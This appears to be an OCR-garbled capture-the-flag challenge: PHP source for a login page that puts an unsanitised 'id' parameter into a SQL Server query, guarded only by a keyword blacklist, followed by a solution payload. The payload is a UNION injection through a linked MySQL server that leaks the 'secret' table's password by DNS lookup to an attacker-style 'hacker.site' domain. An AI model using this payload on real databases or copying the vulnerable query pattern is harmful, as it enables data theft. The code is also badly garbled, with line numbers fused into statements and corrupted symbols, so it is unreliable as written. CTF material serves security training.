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<?php

echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work<br />";

echo "flag is hctf{what you get}<br /><br />";

error reporting (E ALL"E NOTICE"E WARNING) ;

try {

sconn = new PDO( "sqlsrv:Server=*****;Database=not here","oob", "");

}

catch( PDOException $e ) {

10die( "Error connecting to SQL Server".Se->getMessage() );

11}

12 #echo "Connected to MySQL<br />";

13 echo "Connected to SQL Server<br />";

14 $id = § GET['id'];

15 if (preg match ('/EXEC|xp cmdshell|sp configure|xp reg(.*)|CREATE|DROP|declare
16 |if| insert|into|outfile|dumpfile| sleep|wait|benchmark/i", $id)) {

17 die('NoNoNo') ;

18}

19 Squery = "select message from not here too where id = $id"; //link server: O
20 n linkname:mysql

21 $stmt = Sconn->query( Squery );

221if ( @Srow = Sstmt->fetch( PDO: :FETCH ASSOC ) ){

23//TO DO: ...

24 //It's time to sleep...

25}

26 2>
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1 /?id=1 union select * from openquery (mysql,'select load file(concat ("\\ \\", (select password from secret),".hacker.site\\a.txt"))"')
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